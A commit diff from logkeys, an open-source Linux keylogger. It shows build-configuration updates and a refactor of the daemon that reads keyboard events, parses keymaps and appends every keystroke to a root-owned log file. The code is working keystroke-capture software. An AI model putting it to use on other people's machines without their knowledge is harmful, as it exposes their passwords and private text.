Commit c0e749c0 authored by kernc's avatar kernc

More refactoring and bug fixes. Inspired by Benjamin Jochheim. Thanks much! :)

git-svn-id: https://logkeys.googlecode.com/svn/trunk@40 c501e62c-e7d1-11de-a198-37193048d1ed
parent 3748cdb0
v0.1.1 (?) v0.1.1 (?)
* bug fixes * fixed 100% CPU issue on x64
* various other bug fixes
* removed pgrep dependency * removed pgrep dependency
* PID file now in /var/run/ * PID file now in /var/run/
* symlink attack vulnerability fixes * symlink attack vulnerability fixes
......
...@@ -24,6 +24,9 @@ ...@@ -24,6 +24,9 @@
/* Define to 1 if you have the <cstring> header file. */ /* Define to 1 if you have the <cstring> header file. */
#undef HAVE_CSTRING #undef HAVE_CSTRING
/* Define to 1 if you have the <cwchar> header file. */
#undef HAVE_CWCHAR
/* Define to 1 if you have the `error' function. */ /* Define to 1 if you have the `error' function. */
#undef HAVE_ERROR #undef HAVE_ERROR
...@@ -48,6 +51,9 @@ ...@@ -48,6 +51,9 @@
/* Define to 1 if you have the `fgets' function. */ /* Define to 1 if you have the `fgets' function. */
#undef HAVE_FGETS #undef HAVE_FGETS
/* Define to 1 if you have the `fgetws' function. */
#undef HAVE_FGETWS
/* Define to 1 if you have the `flock' function. */ /* Define to 1 if you have the `flock' function. */
#undef HAVE_FLOCK #undef HAVE_FLOCK
...@@ -129,9 +135,6 @@ ...@@ -129,9 +135,6 @@
/* Define to 1 if you have the `sigaction' function. */ /* Define to 1 if you have the `sigaction' function. */
#undef HAVE_SIGACTION #undef HAVE_SIGACTION
/* Define to 1 if you have the `sleep' function. */
#undef HAVE_SLEEP
/* Define to 1 if you have the `sscanf' function. */ /* Define to 1 if you have the `sscanf' function. */
#undef HAVE_SSCANF #undef HAVE_SSCANF
...@@ -171,6 +174,9 @@ ...@@ -171,6 +174,9 @@
/* Define to 1 if you have the `strncat' function. */ /* Define to 1 if you have the `strncat' function. */
#undef HAVE_STRNCAT #undef HAVE_STRNCAT
/* Define to 1 if you have the `swscanf' function. */
#undef HAVE_SWSCANF
/* Define to 1 if you have the <sys/file.h> header file. */ /* Define to 1 if you have the <sys/file.h> header file. */
#undef HAVE_SYS_FILE_H #undef HAVE_SYS_FILE_H
...@@ -195,6 +201,12 @@ ...@@ -195,6 +201,12 @@
/* Define to 1 if you have the <vfork.h> header file. */ /* Define to 1 if you have the <vfork.h> header file. */
#undef HAVE_VFORK_H #undef HAVE_VFORK_H
/* Define to 1 if you have the `wcscpy' function. */
#undef HAVE_WCSCPY
/* Define to 1 if you have the `wcslen' function. */
#undef HAVE_WCSLEN
/* Define to 1 if `fork' works. */ /* Define to 1 if `fork' works. */
#undef HAVE_WORKING_FORK #undef HAVE_WORKING_FORK
......
...@@ -3945,7 +3945,7 @@ fi ...@@ -3945,7 +3945,7 @@ fi
done done
for ac_header in cstdio cerrno cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h for ac_header in cstdio cerrno cwchar cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h
do : do :
as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
ac_fn_cxx_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" ac_fn_cxx_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
...@@ -4389,7 +4389,7 @@ $as_echo "#define HAVE_WORKING_FORK 1" >>confdefs.h ...@@ -4389,7 +4389,7 @@ $as_echo "#define HAVE_WORKING_FORK 1" >>confdefs.h
fi fi
for ac_func in geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read sleep time for ac_func in geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read time fgetws wcslen swscanf wcscpy
do : do :
as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh` as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
ac_fn_cxx_check_func "$LINENO" "$ac_func" "$as_ac_var" ac_fn_cxx_check_func "$LINENO" "$ac_func" "$as_ac_var"
......
...@@ -41,7 +41,7 @@ AC_CHECK_FILE( ...@@ -41,7 +41,7 @@ AC_CHECK_FILE(
# Checks for header files. # Checks for header files.
AC_CHECK_HEADERS( AC_CHECK_HEADERS(
[cstdio cerrno cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h], [cstdio cerrno cwchar cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h],
[], [],
[AC_MSG_ERROR([Expected header file is missing!])] [AC_MSG_ERROR([Expected header file is missing!])]
) )
...@@ -56,7 +56,7 @@ AC_TYPE_SIZE_T ...@@ -56,7 +56,7 @@ AC_TYPE_SIZE_T
AC_FUNC_ERROR_AT_LINE AC_FUNC_ERROR_AT_LINE
AC_FUNC_FORK AC_FUNC_FORK
AC_CHECK_FUNCS( AC_CHECK_FUNCS(
[geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read sleep time], [geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read time fgetws wcslen swscanf wcscpy],
[], [],
[AC_MSG_ERROR([Expected function is missing!])] [AC_MSG_ERROR([Expected function is missing!])]
) )
......
...@@ -4,17 +4,19 @@ ...@@ -4,17 +4,19 @@
#include <cassert> #include <cassert>
#include <linux/input.h> #include <linux/input.h>
namespace logkeys {
// these are ordered default US keymap keys // these are ordered default US keymap keys
wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<"; wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<";
wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>"; wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>";
wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us` wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us`
// TODO: add altgr_shift_keys[] // TODO: add altgr_shift_keys[]
char func_keys[][8] = { wchar_t func_keys[][8] = {
"<Esc>", "<BckSp>", "<Tab>", "<Enter>", "<LCtrl>", "<LShft>", "<RShft>", "<KP*>", "<LAlt>", " ", "<CpsLk>", "<F1>", "<F2>", "<F3>", "<F4>", "<F5>", L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" L", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
"<F6>", "<F7>", "<F8>", "<F9>", "<F10>", "<NumLk>", "<ScrLk>", "<KP7>", "<KP8>", "<KP9>", "<KP->", "<KP4>", "<KP5>", "<KP6>", "<KP+>", "<KP1>", L"<F6>", L"<F7>", L"<F8>", L"<F9>", L"<F10>", L"<NumLk>", L"<ScrLk>", L"<KP7>", L"<KP8>", L"<KP9>", L"<KP->", L"<KP4>", L"<KP5>", L"<KP6>", L"<KP+>", L"<KP1>",
"<KP2>", "<KP3>", "<KP0>", "<KP.>", /*"<",*/ "<F11>", "<F12>", "<KPEnt>", "<RCtrl>", "<KP/>", "<PrtSc>", "<AltGr>", "<Break>" /*linefeed?*/, "<Home>", "<Up>", "<PgUp>", L"<KP2>", L"<KP3>", L"<KP0>", L"<KP.>", /*"<",*/ L"<F11>", L"<F12>", L"<KPEnt>", L"<RCtrl>", L"<KP/>", L"<PrtSc>", L"<AltGr>", L"<Break>" /*linefeed?*/, L"<Home>", L"<Up>", L"<PgUp>",
"<Left>", "<Right>", "<End>", "<Down>", "<PgDn>", "<Ins>", "<Del>", "<Pause>", "<LMeta>", "<RMeta>", "<Menu>" L"<Left>", L"<Right>", L"<End>", L"<Down>", L"<PgDn>", L"<Ins>", L"<Del>", L"<Pause>", L"<LMeta>", L"<RMeta>", L"<Menu>"
}; };
const char char_or_func[] = // c = character key, f = function key, _ = blank/error ('_' is used, don't change); all according to KEY_* defines from <linux/input.h> const char char_or_func[] = // c = character key, f = function key, _ = blank/error ('_' is used, don't change); all according to KEY_* defines from <linux/input.h>
...@@ -87,4 +89,6 @@ inline int to_func_keys_index(unsigned int keycode) ...@@ -87,4 +89,6 @@ inline int to_func_keys_index(unsigned int keycode)
return -1; // not function key keycode return -1; // not function key keycode
} }
} // namespace logkeys
#endif #endif
...@@ -8,6 +8,7 @@ ...@@ -8,6 +8,7 @@
#include <cstdio> #include <cstdio>
#include <cerrno> #include <cerrno>
#include <cwchar>
#include <cstring> #include <cstring>
#include <sstream> #include <sstream>
#include <cstdlib> #include <cstdlib>
...@@ -33,6 +34,8 @@ ...@@ -33,6 +34,8 @@
#define DEFAULT_LOG_FILE "/var/log/logkeys.log" #define DEFAULT_LOG_FILE "/var/log/logkeys.log"
#define PID_FILE "/var/run/logkeys.pid" #define PID_FILE "/var/run/logkeys.pid"
namespace logkeys {
void usage() void usage()
{ {
fprintf(stderr, fprintf(stderr,
...@@ -73,6 +76,17 @@ std::string execute(const char* cmd) ...@@ -73,6 +76,17 @@ std::string execute(const char* cmd)
return result; return result;
} }
struct arguments
{
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
int export_keymap; // export keymap obtained from dumpkeys, --export-keymap
int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
char * logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch
} args = {0}; // default all args to 0x0
int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it
...@@ -81,6 +95,7 @@ void signal_handler(int signal) ...@@ -81,6 +95,7 @@ void signal_handler(int signal)
if (input_fd != -1) if (input_fd != -1)
close(input_fd); // closing input file will break the infinite while loop close(input_fd); // closing input file will break the infinite while loop
} }
void set_utf8_locale() void set_utf8_locale()
{ {
// set locale to common UTF-8 for wchars to be recognized correctly // set locale to common UTF-8 for wchars to be recognized correctly
...@@ -92,11 +107,30 @@ void set_utf8_locale() ...@@ -92,11 +107,30 @@ void set_utf8_locale()
error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type"); error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type");
} }
} }
void exit_cleanup(int status, void * discard)
void exit_cleanup(int status, void *discard)
{ {
// TODO: // TODO:
} }
void create_PID_file()
{
// create temp file carrying PID for later retrieval
int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (temp_fd != -1) {
char pid_str[16] = {0};
sprintf(pid_str, "%d", getpid());
if (write(temp_fd, pid_str, strlen(pid_str)) == -1)
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
close(temp_fd);
}
else {
if (errno == EEXIST)
error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")");
else error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
}
}
void kill_existing_process() void kill_existing_process()
{ {
pid_t pid; pid_t pid;
...@@ -121,9 +155,8 @@ void kill_existing_process() ...@@ -121,9 +155,8 @@ void kill_existing_process()
remove(PID_FILE); remove(PID_FILE);
kill(pid, SIGINT); kill(pid, SIGINT);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS); // process killed successfully, exit
} }
error(EXIT_FAILURE, 0, "No process killed"); error(EXIT_FAILURE, 0, "No process killed");
} }
...@@ -136,152 +169,8 @@ void set_signal_handling() ...@@ -136,152 +169,8 @@ void set_signal_handling()
sigaction(SIGTERM, &act, NULL); sigaction(SIGTERM, &act, NULL);
} }
void daemonize() void determine_system_keymap()
{
if ( getppid() == 1 ) return; // if already a daemon, return
switch (fork()) {
case 0: break; // child continues
case -1: error(EXIT_FAILURE, errno, "Error creating child process");
default: _exit(EXIT_SUCCESS); // parent exits
}
setsid();
if(chdir("/")); // wrapped in if() to avoid compiler warning
switch (fork()) {
case 0: break; // second child continues
case -1: error(EXIT_FAILURE, errno, "Error creating 2nd child process");
default: _exit(EXIT_SUCCESS); // parent exits
}
close(STDIN_FILENO); // drop stdin, stdout, stderr
close(STDOUT_FILENO);
close(STDERR_FILENO);
} //\ daemon
struct arguments {
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
int export_keymap; // export keymap obtained from dumpkeys, --export-keymap
int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
char * logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch
} args = {0}; // default all args to 0x0
int main(int argc, char **argv)
{ {
on_exit(exit_cleanup, NULL);
if (geteuid()) { error(EXIT_FAILURE, errno, "Got r00t?"); }
// default log file will be used if none specified
char *default_logfile = (char*) DEFAULT_LOG_FILE;
args.logfile = default_logfile;
{ // process options and arguments
struct option long_options[] = {
{"start", no_argument, 0, 's'},
{"keymap", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"us-keymap", no_argument, 0, 'u'},
{"kill", no_argument, 0, 'k'},
{"device", required_argument, 0, 'd'},
{"help", no_argument, 0, '?'},
#define EXPORT_KEYMAP_INDEX 7
{"export-keymap", required_argument, &args.export_keymap, 1}, // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7)
{"no-func-keys", no_argument, &args.nofunc, 1},
{0, 0, 0, 0}
};
char c;
int option_index;
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
switch (c) {
case 's': args.start = true; break;
case 'm': args.keymap = optarg; break;
case 'o': args.logfile = optarg; break;
case 'u': args.us_keymap = true; break;
case 'k': args.kill = true; break;
case 'd': args.device = optarg; break;
case 0 :
if (option_index == EXPORT_KEYMAP_INDEX)
args.keymap = optarg;
break;
case '?': usage(); exit(EXIT_SUCCESS);
default : usage(); exit(EXIT_FAILURE);
}
while(optind < argc)
error(0, 0, "Non-option argument %s", argv[optind++]);
} //\ arguments
// kill existing logkeys process
if (args.kill) kill_existing_process();
else if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); }
// check for incompatible flags
if (args.keymap && args.us_keymap) {
error(EXIT_FAILURE, 0, "Incompatible flags '-m' and '-u'. See usage.");
}
set_utf8_locale();
// read keymap from file
if (args.start && args.keymap && !args.export_keymap) {
// custom map will be used; erase existing US keytables
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
stdin = freopen(args.keymap, "r", stdin);
if (stdin == NULL)
error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap);
unsigned int i = -1;
unsigned int line_number = 0;
char func_string[32];
char line[32];
while (!feof(stdin)) {
if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
if (is_used_key(i)) {
if(fgets(line, sizeof(line), stdin)); // wrapped in if() to avoid compiler warning
++line_number;
}
if (is_char_key(i)) {
unsigned int index = to_char_keys_index(i);
if (sscanf(line, "%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 2) {
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Too few input characters on line");
}
}
if (is_func_key(i)) {
if (i == KEY_SPACE) continue; // space causes empty string and trouble
if (sscanf(line, "%7s", &func_string[0]) != 1)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Invalid function key string"); // does this ever happen?
strcpy(func_keys[to_func_keys_index(i)], func_string);
}
} //\ while (!feof(stdin))
fclose(stdin);
if (line_number < N_KEYS_DEFINED)
#define QUOTE(x) #x
error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap);
} // get keymap used by the system and optionally export it to file
else if ((args.start && !args.us_keymap) || args.export_keymap) {
// custom map will be used; erase existing US keymapping // custom map will be used; erase existing US keymapping
memset(char_keys, '\0', sizeof(char_keys)); memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys)); memset(shift_keys, '\0', sizeof(shift_keys));
...@@ -308,14 +197,12 @@ int main(int argc, char **argv) ...@@ -308,14 +197,12 @@ int main(int argc, char **argv)
index = line.find("U+", index); index = line.find("U+", index);
} }
assert(line.size() > 0);
if (line[0] == 'k') { // if line starts with 'keycode'
if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used) if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
// TODO: move these two (↓↑) lines out of the parent if() if (!is_char_key(i)) continue; // only map character keys of keyboard
if (is_char_key(i)) {
index = to_char_keys_index(i); // only map character keys of keyboard assert(line.size() > 0);
if (line[0] == 'k') { // if line starts with 'keycode'
index = to_char_keys_index(i);
ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ") ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ")
ss >> std::hex >> utf8code; ss >> std::hex >> utf8code;
...@@ -334,14 +221,12 @@ int main(int argc, char **argv) ...@@ -334,14 +221,12 @@ int main(int argc, char **argv)
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
altgr_keys[index] = static_cast<wchar_t>(utf8code); altgr_keys[index] = static_cast<wchar_t>(utf8code);
} }
} //\ if (is_char_key(i))
continue;
} //\ if (line[0] == 'k')
index = to_char_keys_index(i); continue;
}
// if line starts with 'shift i' // else if line starts with 'shift i'
if (is_char_key(i)) { index = to_char_keys_index(--i);
ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ") ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
ss >> std::hex >> utf8code; ss >> std::hex >> utf8code;
if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS
...@@ -350,26 +235,92 @@ int main(int argc, char **argv) ...@@ -350,26 +235,92 @@ int main(int argc, char **argv)
shift_keys[index] = static_cast<wchar_t>(utf8code); shift_keys[index] = static_cast<wchar_t>(utf8code);
if (line[1] == 'a') // if line starts with "altgr" if (line[1] == 'a') // if line starts with "altgr"
altgr_keys[index] = static_cast<wchar_t>(utf8code); altgr_keys[index] = static_cast<wchar_t>(utf8code);
} // while (getline(dump, line))
}
void parse_input_keymap()
{
// custom map will be used; erase existing US keytables
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
stdin = freopen(args.keymap, "r", stdin);
if (stdin == NULL)
error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap);
unsigned int i = -1;
unsigned int line_number = 0;
wchar_t func_string[32];
wchar_t line[32];
while (!feof(stdin)) {
if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
if (is_used_key(i)) {
++line_number;
if(fgetws(line, sizeof(line), stdin) == NULL) {
if (feof(stdin)) break;
else error_at_line(EXIT_FAILURE, errno, args.keymap, line_number, "fgets() error");
}
// line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n")
if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()!
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Line too long!");
// terminate line before any \r or \n
std::wstring::size_type last = std::wstring(line).find_last_not_of(L"\r\n");
if (last == std::wstring::npos)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "No characters on line");
line[last + 1] = '\0';
}
if (is_char_key(i)) {
unsigned int index = to_char_keys_index(i);
if (swscanf(line, L"%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 1) {
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Too few input characters on line");
}
}
if (is_func_key(i)) {
if (i == KEY_SPACE) continue; // space causes empty string and trouble
if (swscanf(line, L"%7ls", &func_string[0]) != 1)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Invalid function key string"); // does this ever happen?
wcscpy(func_keys[to_func_keys_index(i)], func_string);
} }
} //\ while (getline(dump, line)) } // while (!feof(stdin))
fclose(stdin);
if (line_number < N_KEYS_DEFINED)
#define QUOTE(x) #x // quotes x so it can be used as (char*)
error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap);
}
// export keymap to file as requested void export_keymap_to_file()
if (args.export_keymap) { {
int keymap_fd = open(args.keymap, O_CREAT | O_EXCL | O_WRONLY, 0644); int keymap_fd = open(args.keymap, O_CREAT | O_EXCL | O_WRONLY, 0644);
if (keymap_fd == -1) if (keymap_fd == -1)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap); error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap);
char buffer[32]; char buffer[32];
int buflen = 0; int buflen = 0;
unsigned int index;
for (unsigned int i = 0; i < sizeof(char_or_func); ++i) { for (unsigned int i = 0; i < sizeof(char_or_func); ++i) {
buflen = 0;
if (is_char_key(i)) { if (is_char_key(i)) {
index = to_char_keys_index(i); index = to_char_keys_index(i);
if (altgr_keys[index] != L'\0') // only export non-null characters
if (char_keys[index] != L'\0' &&
shift_keys[index] != L'\0' &&
altgr_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]); buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]);
else else if (char_keys[index] != L'\0' &&
buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);; shift_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);
else if (char_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc\n", char_keys[index]);
else // if all \0, export nothing on that line (=keymap will not parse)
buflen = sprintf(buffer, "\n");
} }
else if (is_func_key(i)) { else if (is_func_key(i)) {
buflen = sprintf(buffer, "%s\n", func_keys[to_func_keys_index(i)]); buflen = sprintf(buffer, "%ls\n", func_keys[to_func_keys_index(i)]);
} }
if (is_used_key(i)) if (is_used_key(i))
...@@ -379,10 +330,10 @@ int main(int argc, char **argv) ...@@ -379,10 +330,10 @@ int main(int argc, char **argv)
close(keymap_fd); close(keymap_fd);
error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap); error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} //\ if (args.export_keymap) }
}
if (args.device == NULL) { // no device given with -d switch void determine_input_device()
{
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.) // extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
std::string output = execute("grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd'"); std::string output = execute("grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd'");
...@@ -392,6 +343,84 @@ int main(int argc, char **argv) ...@@ -392,6 +343,84 @@ int main(int argc, char **argv)
input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1) input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1)
args.device = const_cast<char*>(input_dev_index.str().c_str()); // const_cast safe because original isn't modified args.device = const_cast<char*>(input_dev_index.str().c_str()); // const_cast safe because original isn't modified
}
int main(int argc, char **argv)
{
on_exit(exit_cleanup, NULL);
if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?");
// default log file will be used if none specified
args.logfile = (char*) DEFAULT_LOG_FILE;
{ // process options and arguments
struct option long_options[] = {
{"start", no_argument, 0, 's'},
{"keymap", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"us-keymap", no_argument, 0, 'u'},
{"kill", no_argument, 0, 'k'},
{"device", required_argument, 0, 'd'},
{"help", no_argument, 0, '?'},
#define EXPORT_KEYMAP_INDEX 7
{"export-keymap", required_argument, &args.export_keymap, 1}, // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7)
{"no-func-keys", no_argument, &args.nofunc, 1},
{0}
};
char c;
int option_index;
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
switch (c) {
case 's': args.start = true; break;
case 'm': args.keymap = optarg; break;
case 'o': args.logfile = optarg; break;
case 'u': args.us_keymap = true; break;
case 'k': args.kill = true; break;
case 'd': args.device = optarg; break;
case 0 :
if (option_index == EXPORT_KEYMAP_INDEX)
args.keymap = optarg;
break;
case '?': usage(); exit(EXIT_SUCCESS);
default : usage(); exit(EXIT_FAILURE);
}
while(optind < argc)
error(0, 0, "Non-option argument %s", argv[optind++]);
} // process arguments
// kill existing logkeys process
if (args.kill) kill_existing_process();
if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); }
// check for incompatible flags
if (args.keymap && args.us_keymap) {
error(EXIT_FAILURE, 0, "Incompatible flags '-m' and '-u'. See usage.");
}
set_utf8_locale();
if (args.start && args.keymap && !args.export_keymap) {
// read keymap from file
parse_input_keymap();
}
else if ((args.start && !args.us_keymap) || args.export_keymap) {
// get keymap used by the system and optionally export it to file
determine_system_keymap();
// export keymap if so requested
if (args.export_keymap) export_keymap_to_file();
}
if (args.device == NULL) { // no device given with -d switch
determine_input_device();
} }
else { // event device supplied as -d argument else { // event device supplied as -d argument
std::string d(args.device); std::string d(args.device);
...@@ -401,51 +430,41 @@ int main(int argc, char **argv) ...@@ -401,51 +430,41 @@ int main(int argc, char **argv)
set_signal_handling(); set_signal_handling();
//~ daemonize(); int nochdir;
if (daemon(0, 0) == -1) // become daemon if (args.logfile[0] != '/')
nochdir = 1; // don't chdir (logfile specified with relative path)
else nochdir = 0;
int noclose = 1; // don't close streams (stderr used)
if (daemon(nochdir, noclose) == -1) // become daemon
error(EXIT_FAILURE, errno, "Failed to become daemon"); error(EXIT_FAILURE, errno, "Failed to become daemon");
close(STDIN_FILENO); close(STDOUT_FILENO); // leave stderr open
// create temp file carrying PID for later retrieval
int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (temp_fd != -1) {
char pid_str[16] = {0};
sprintf(pid_str, "%d", getpid());
if (write(temp_fd, pid_str, strlen(pid_str)) == -1) {
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
}
}
else {
if (errno == EEXIST)
error(EXIT_FAILURE, errno, "Another process already running (" PID_FILE ")? (Quitting.)");
else
error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
} //\ temp file
// open input device for reading // open input device for reading
input_fd = open(args.device, O_RDONLY); input_fd = open(args.device, O_RDONLY);
if (input_fd == -1) { if (input_fd == -1) {
remove(PID_FILE);
error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device); error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device);
} }
// if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't! // if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't!
args.logfile = realpath(args.logfile, NULL); // avoid relative paths
if (strcmp(args.logfile, DEFAULT_LOG_FILE) != 0) { if (strcmp(args.logfile, DEFAULT_LOG_FILE) != 0) {
seteuid(getuid()); seteuid(getuid());
setegid(getgid()); setegid(getgid());
} }
// open log file as stdout (if file doesn't exist, create it with safe 0600 permissions) // open log file as stdout (if file doesn't exist, create it with safe 0600 permissions)
umask(0177); umask(0177);
stdout = freopen(args.logfile, "a", stdout); stdout = freopen(args.logfile, "a", stdout);
if (stdout == NULL) { if (stdout == NULL) {
remove(PID_FILE);
error(0, errno, "Error opening output file '%s'", args.logfile); error(0, errno, "Error opening output file '%s'", args.logfile);
free(args.logfile); // free memory allocated by realpath()
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
free(args.logfile); // free memory allocated by realpath()
// we've got everything we need, now drop privileges by becoming 'nobody' // now we need those privileges back in order to create system-wide PID_FILE
seteuid(0); setegid(0);
create_PID_file();
// now we've got everything we need, finally drop privileges by becoming 'nobody'
